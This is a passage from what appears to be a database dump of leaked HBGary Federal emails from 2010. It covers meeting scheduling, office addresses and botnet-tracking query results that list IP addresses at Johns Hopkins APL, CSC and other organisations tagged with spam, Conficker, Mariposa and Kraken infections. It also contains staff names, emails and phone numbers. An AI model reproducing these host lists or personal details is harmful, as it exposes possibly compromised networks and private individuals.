10%\r\nEvents :\r\n        Conficker A/B : Tue Jun 30 22:53:36 2009 GMT\r\n\r\nIP : 128.244.3.58\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Mar  3 21:59:00 2009 GMT\r\n\r\nIP : 128.244.20.160\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 20:59:00 2009 GMT\r\n\r\nIP : 128.244.32.117\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar 20 12:59:00 2009 GMT\r\n\r\nIP : 128.244.90.229\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 128.244.112.152\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 11:59:00 2009 GMT\r\n\r\nIP : 128.244.114.26\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 128.244.116.254\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 15:59:00 2009 GMT\r\n\r\nIP : 128.244.119.20\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb 23 07:59:00 2009 GMT\r\n\r\nIP : 128.244.142.6\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 128.244.143.70\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 11 14:59:00 2009 GMT\r\n\r\nIP : 128.244.160.185\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 11 10:59:00 2009 GMT\r\n\r\nIP : 128.244.168.147\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb  3 01:59:00 2009 GMT\r\n\r\nIP : 128.244.178.113\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 128.244.189.5\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 128.244.222.229\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Feb 13 00:59:00 2009 GMT\r\n\r\nIP : 128.244.231.12\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 24 10:59:00 2009 GMT\r\n\r\nIP : 128.244.233.226\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 12 06:59:00 2009 GMT\r\n\r\nIP : 128.244.234.16\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 22:59:00 2009 GMT\r\n\r\nIP : 128.244.236.20\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb 28 09:59:00 2009 GMT\r\n\r\nNetblocks Queried:\r\nJohns Hopkins University (JHU)\r\nJohns Hopkins University Applied Physics Laboratory (JHUAPL)\r\nJohns Hopkins University (AS5723) JHU    5723\r\nJohns Hopkins University Applied Physics Laboratory (AS77) JHUAPL-AS    77\r\nJohns Hopkins University JHU (NET-192-12-13-0-1) 192.12.13.0 - 192.12.13.255\r\nJohns Hopkins University JHU (NET-192-12-14-0-1) 192.12.14.0 - 192.12.14.255\r\nJohns Hopkins University JHU (NET-128-220-0-0-1) 128.220.0.0 - 128.220.255.255\r\nJohns Hopkins University Applied Physics Laboratory JHUAPL-NET\r\n(NET-128-244-0-0-1) 128.244.0.0 - 128.244.255.255\r\nJohns Hopkins University Applied Physics Laboratory JHUAPL-EXT\r\n(NET-204-9-128-0-1) 204.9.128.0 - 204.9.135.255\r\nJohns Hopkins University Applied Physics Laboratory JHUAPL-APLNIS\r\n(NET6-2620-320-1) 2620:0000:0320:0000:0000:0000:0000:0000 -\r\n2620:0000:0320:FFFF:FFFF:FFFF:FFFF:FFFF\r\nJOHNS HOPKINS UNIVERSITY UU-65-204-153-144-D5 (NET-65-204-153-144-1)\r\n65.204.153.144 - 65.204.153.151\r\n\r\n--\r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',7459,'aaron_hbgary_com/7459.html'),(7153,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005197.M4268P14101Q2007.eml','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>,\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>,,','Re: DuPont','That time works for me.On Mon, Jun 7, 2010 at 9:31 PM, Harvey, Kevin &lt;kevin.harvey@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes.  Friday afternoon is good.  How about\r\n1PM CST?  I’ll send a gotomeeting invitation when the time is confirmed.\r\n\r\n \r\n\r\nKevin\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, June 07, 2010 6:51\r\nPM\r\nTo: Harvey,\r\n Kevin\r\nCc: Etue, David; Ted Vera; Mark\r\nTrynor\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n \r\n\r\ngreat.  Can we set something up for Friday afternoon then?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jun 7, 2010, at 9:24 AM, Harvey, Kevin wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n \r\n\r\nI’m available to get started as soon as\r\nthis Thursday afternoon or Friday.  As David suggests, we could start out\r\nwith a quick demo and let things develop from there.  The training could\r\nbe customized based on your requirements.  Let me know what time works\r\nbest and I can setup a gotomeeting and conference number.\r\n\r\n \r\n\r\nKevin Harvey\r\n\r\n214.213.4389\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\n\r\nSent: Friday, June 04, 2010 10:46\r\nAM\r\nTo: Harvey, Kevin\r\nCc: Aaron\r\n Barr\r\nSubject: RE: DuPont\r\n\r\n\r\n\r\n \r\n\r\nKevin,\r\n\r\n \r\n\r\nI’d suggest we get a\r\nquick demo scheduled, even if the training might take a few days to get\r\nstarted.  If you show some of the use cases in the demo, with how the\r\npolicy components work, it might get them started.  They are hoping to\r\nlaunch this integrated offering by June 14.\r\n\r\n\r\nDavid\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Friday, June 04, 2010 11:26\r\nAM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nKevin,  can we set up some training for these guys soonest?\r\n Overall introduction will be great with a focus on those capabilities we\r\nwould most use for incident response engagement; network discovery, session\r\nreconstruction, traffic isolation and analysis, integration with our Active\r\nDefense capabilities (so APIs).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep – we should\r\nconnect them with Kevin Harvey (cc’d), who will coordinate the training.  Understanding our policy components\r\nand structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron\r\n Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 03, 2010 10:40 AM\r\nTo: Etue, David\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing.  Should\r\nwe have a conversation and potential demo of these capabilities for the folks\r\nout here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn a call with them – you okay if I mention your upcoming\r\noffering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',7399,'aaron_hbgary_com/7399.html'),(7154,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005197.M560188P14101Q2009.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Penny Leavy\" <penny@hbgary.com>','Fwd: JHU / APL','---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Mon, Jun 7, 2010 at 5:54 PM\r\nSubject: JHU / APLTo: Bob Slapnik &lt;bob@hbgary.com&gt;Bob,\r\n\r\nBelow are the results for the JHU APL only.  The overall JHU query is\r\nstill running (they have a lot of IPs).\r\n\r\nNetblocks Queried:\r\n128.244.0.0;128.244.255.255\r\n204.9.128.0;204.9.135.255\r\n\r\nResults:\r\nIP : 128.244.3.58\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Mar  3 21:59:00 2009 GMT\r\n\r\nIP : 128.244.20.160\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 20:59:00 2009 GMT\r\n\r\nIP : 128.244.32.117\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Mar 20 12:59:00 2009 GMT\r\n\r\nIP : 128.244.90.229\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 128.244.112.152\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 11:59:00 2009 GMT\r\n\r\nIP : 128.244.114.26\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 128.244.116.254\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 15:59:00 2009 GMT\r\n\r\nIP : 128.244.119.20\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb 23 07:59:00 2009 GMT\r\n\r\nIP : 128.244.142.6\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 25 13:59:00 2009 GMT\r\n\r\nIP : 128.244.143.70\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 11 14:59:00 2009 GMT\r\n\r\nIP : 128.244.160.185\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Wed Feb 11 10:59:00 2009 GMT\r\n\r\nIP : 128.244.168.147\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb  3 01:59:00 2009 GMT\r\n\r\nIP : 128.244.178.113\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 128.244.189.5\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sun Mar  1 01:59:00 2009 GMT\r\n\r\nIP : 128.244.222.229\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Fri Feb 13 00:59:00 2009 GMT\r\n\r\nIP : 128.244.231.12\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Tue Feb 24 10:59:00 2009 GMT\r\n\r\nIP : 128.244.233.226\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Thu Feb 12 06:59:00 2009 GMT\r\n\r\nIP : 128.244.234.16\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Mar  7 22:59:00 2009 GMT\r\n\r\nIP : 128.244.236.20\r\nConfidence : 10%\r\nEvents :\r\n        Spam : Sat Feb 28 09:59:00 2009 GMT\r\n\r\n\r\n--\r\nTed\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',10724,'aaron_hbgary_com/10724.html'),(7155,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005197.M810080P14101Q2010.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Datasheet nearing completion','You can add our new address:\r\nFront Range\r\n103 S Wahsatch Ave, Lower Level, Suite AColorado Springs, CO 80903Phone | 916.459.4727 x118ted@hbgary.com\r\n\r\nOn Mon, Jun 7, 2010 at 8:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',9782,'aaron_hbgary_com/9782.html'),(7156,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005198.M318793P14101Q2012.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Re: Other prospects','The CSC query is still running, should be done tomorrow.  This is what I have so far.  I just kicked off the L3 query.  Ted\r\nIP : 171.73.32.42\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 19 11:59:00 2009 GMT\r\n\r\nIP : 171.73.36.87\r\nConfidence : 20.345094%\r\nEvents : \r\n	Spam : Fri Jan  8 19:59:00 2010 GMT\r\n\r\nIP : 171.73.53.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 21:59:00 2009 GMT\r\n\r\nIP : 171.73.77.123\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 14:59:00 2009 GMT\r\n\r\nIP : 171.73.79.150\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 14:59:00 2009 GMT\r\n\r\nIP : 171.73.112.175\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 20 19:59:00 2009 GMT\r\n\r\nIP : 171.73.115.191\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 05:59:00 2009 GMT\r\n\r\nIP : 171.73.118.101\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 02:59:00 2009 GMT\r\n\r\nIP : 171.73.120.236\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 13:59:00 2009 GMT\r\n\r\nIP : 171.73.227.61\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 16:59:00 2009 GMT\r\n\r\nIP : 171.73.239.43\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 04:59:00 2009 GMT\r\n\r\nIP : 171.73.248.177\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 207.240.83.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 25 03:59:00 2009 GMT\r\n\r\nIP : 207.240.88.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 07:59:00 2009 GMT\r\n\r\nIP : 207.240.112.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 08:59:00 2009 GMT\r\n\r\nIP : 207.240.210.44\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 18 06:59:00 2009 GMT\r\n\r\nIP : 207.240.225.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 11:59:00 2009 GMT\r\n\r\nIP : 207.240.233.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 12:59:00 2009 GMT\r\n\r\nIP : 128.11.0.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan  7 06:59:00 2009 GMT\r\n\r\nIP : 128.11.35.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 16:59:00 2009 GMT\r\n\r\nIP : 128.11.71.42\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 128.11.140.35\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 128.11.224.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 08:59:00 2009 GMT\r\n\r\nIP : 128.167.35.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 21:59:00 2009 GMT\r\n\r\nIP : 128.167.37.92\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 28 05:59:00 2009 GMT\r\n\r\nIP : 128.167.40.254\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 12:59:00 2009 GMT\r\n\r\nIP : 128.167.48.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 128.167.52.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 128.167.56.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 16:59:00 2009 GMT\r\n\r\nIP : 128.167.59.37\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 16 20:59:00 2009 GMT\r\n\r\nIP : 128.167.60.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb  7 00:59:00 2009 GMT\r\n\r\nIP : 128.167.72.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 27 12:59:00 2009 GMT\r\n\r\nIP : 128.167.73.122\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 128.167.91.207\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 21:59:00 2009 GMT\r\n\r\nIP : 128.167.93.78\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 00:59:00 2009 GMT\r\n\r\nIP : 128.167.94.65\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 15:59:00 2009 GMT\r\n\r\nIP : 128.167.106.194\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 03:59:00 2009 GMT\r\n\r\nIP : 128.167.108.178\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 04:59:00 2009 GMT\r\n\r\nIP : 128.167.115.199\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 13:59:00 2009 GMT\r\n\r\nIP : 128.167.134.152\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 03:59:00 2009 GMT\r\n\r\nIP : 128.167.188.165\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 14:59:00 2009 GMT\r\n\r\nIP : 128.167.201.197\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 19:59:00 2009 GMT\r\n\r\nIP : 128.167.208.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  1 23:59:00 2009 GMT\r\n\r\nIP : 128.167.209.27\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 19 12:59:00 2009 GMT\r\n\r\nIP : 128.167.244.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 09:59:00 2009 GMT\r\n\r\nIP : 148.153.35.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 04:59:00 2009 GMT\r\n\r\nIP : 148.153.67.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 148.153.68.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 18:59:00 2009 GMT\r\n\r\nIP : 148.153.75.47\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 16:59:00 2009 GMT\r\n\r\nIP : 148.153.84.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 07:59:00 2009 GMT\r\n\r\nIP : 148.153.98.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 148.153.104.60\r\nConfidence : 18.790223%\r\nEvents : \r\n	Spam : Mon Jan  4 05:59:00 2010 GMT\r\n\r\nIP : 148.153.209.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 07:59:00 2009 GMT\r\n\r\nIP : 148.153.220.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 18 11:59:00 2009 GMT\r\n\r\nIP : 148.153.230.101\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 12:59:00 2009 GMT\r\n\r\nIP : 148.153.237.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 148.153.250.182\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 204.57.101.130\r\nConfidence : 61.657224%\r\nEvents : \r\n	Conficker A/B : Thu Apr  8 15:20:30 2010 GMT\r\n\r\nIP : 20.0.0.23\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 01:59:00 2009 GMT\r\n\r\nIP : 20.0.0.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 27 19:59:00 2009 GMT\r\n\r\nIP : 20.0.0.57\r\nConfidence : 72.061958%\r\nEvents : \r\n	Kraken : Sun May 16 17:17:43 2010 GMT\r\n\r\nIP : 20.0.0.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jun  6 22:59:00 2009 GMT\r\n\r\nIP : 20.0.0.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu May 21 13:59:00 2009 GMT\r\n\r\nIP : 20.0.1.31\r\nConfidence : 32.711239%\r\nEvents : \r\n	Mariposa : Tue Feb 23 12:11:12 2010 GMT\r\n\r\nIP : 20.0.1.252\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jun  1 17:59:00 2009 GMT\r\n\r\nIP : 20.0.43.179\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 23:59:00 2009 GMT\r\n\r\nIP : 20.0.45.254\r\nConfidence : 34.686412%\r\nEvents : \r\n	Mariposa : Wed Mar  3 14:54:37 2010 GMT\r\n\r\nIP : 20.0.51.3\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jun  1 20:59:00 2009 GMT\r\n\r\nIP : 20.0.63.168\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 06:59:00 2009 GMT\r\n\r\nIP : 20.0.94.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 06:59:00 2009 GMT\r\n\r\nIP : 20.0.112.134\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 11 13:59:00 2009 GMT\r\n\r\nIP : 20.0.119.175\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 21:59:00 2009 GMT\r\n\r\nIP : 20.0.149.209\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 01:59:00 2009 GMT\r\n\r\nIP : 20.0.152.224\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 11:59:00 2009 GMT\r\n\r\nIP : 20.0.154.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 22:59:00 2009 GMT\r\n\r\nIP : 20.0.168.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 14:59:00 2009 GMT\r\n\r\nIP : 20.0.219.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 00:59:00 2009 GMT\r\n\r\nIP : 20.0.229.8\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 00:59:00 2009 GMT\r\n\r\nIP : 20.0.246.46\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 02:59:00 2009 GMT\r\n\r\nIP : 20.1.1.20\r\nConfidence : 64.408021%\r\nEvents : \r\n	Mariposa : Sat Apr 17 08:53:30 2010 GMT\r\n\r\nIP : 20.1.1.30\r\nConfidence : 73.650127%\r\nEvents : \r\n	Mariposa : Tue May 25 16:19:52 2010 GMT\r\n\r\nIP : 20.1.1.48\r\nConfidence : 99.990889%\r\nEvents : \r\n	Mariposa : Mon Jun  7 04:22:13 2010 GMT\r\n\r\nIP : 20.1.1.55\r\nConfidence : 35.172535%\r\nEvents : \r\n	Mariposa : Fri Mar  5 18:14:18 2010 GMT\r\n\r\nIP : 20.1.1.166\r\nConfidence : 72.528069%\r\nEvents : \r\n	Mariposa : Wed May 19 05:59:34 2010 GMT\r\n\r\nIP : 20.1.1.196\r\nConfidence : 72.536004%\r\nEvents : \r\n	Mariposa : Wed May 19 06:10:35 2010 GMT\r\n\r\nIP : 20.1.1.230\r\nConfidence : 68.008323%\r\nEvents : \r\n	Mariposa : Thu Apr 29 18:12:58 2010 GMT\r\n\r\nIP : 20.1.1.250\r\nConfidence : 69.185249%\r\nEvents : \r\n	Kraken : Tue May  4 06:33:27 2010 GMT\r\n\r\nIP : 20.1.6.10\r\nConfidence : 65.509933%\r\nEvents : \r\n	Mariposa : Tue Apr 20 23:42:20 2010 GMT\r\nOn Mon, Jun 7, 2010 at 1:51 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nI started the CSC query this weekend because Aaron and I have friends\r\nthere.  I&#39;ll kick of the L-3 one today.  Mark and I gave a lecture at\r\nColorado Technical University with overview of HBGary technologies /\r\nproducts / services.  I just got back to the office.  We&#39;ll send you\r\nthe JHU/APL reports later today.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Mon, Jun 7, 2010 at 1:16 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n&gt; Ted,\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I have enterprise demos coming up for Computers Sciences Corp and L-3\r\n&gt; Communications.  Can you run Endgame reports for them?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Will you be sending me a consolidated report for JHU and APL?\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Bob\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',10532,'aaron_hbgary_com/10532.html'),(7157,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005198.M51584P14101Q2011.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','New Address / Website','We could add our new address to our list of offices on the HBGary.com site (see below).  We developed our HBGary Federal internal site, including a web-app to automate the EndGames queries and results.  We also have the draft external site up on lab.hbgaryfederal.com but it is currently password protected.  We&#39;ll open it up soon after we put a polish on it and lock down the security controls.\r\nTed\r\nFront Range\r\n103 S Wahsatch, Lower Level, Suite AColorado Springs, CO 80903Phone | 916.459.4727 x118ted@hbgary.com\r\n-- Ted \r\n\r\n',328,'aaron_hbgary_com/328.html'),(7158,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005198.M562910P14101Q2013.eml','\"John Tesch\" <jtesch@coloradotech.edu>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Lecture at CTU','Hi John,During our lecture today we briefed and demo&#39;d a new bot-net technology we&#39;ve been researching.  HBGary and its partners have technology\r\nwhich allows us to passively enumerate nodes associated with illegal bot-nets.  As we passively collect this information it is logged to adatabase (which is getting quite massive).  During our lecture at CTU, we did a whois search on www.arin.net to identify the IP netblocks associated\r\nwith 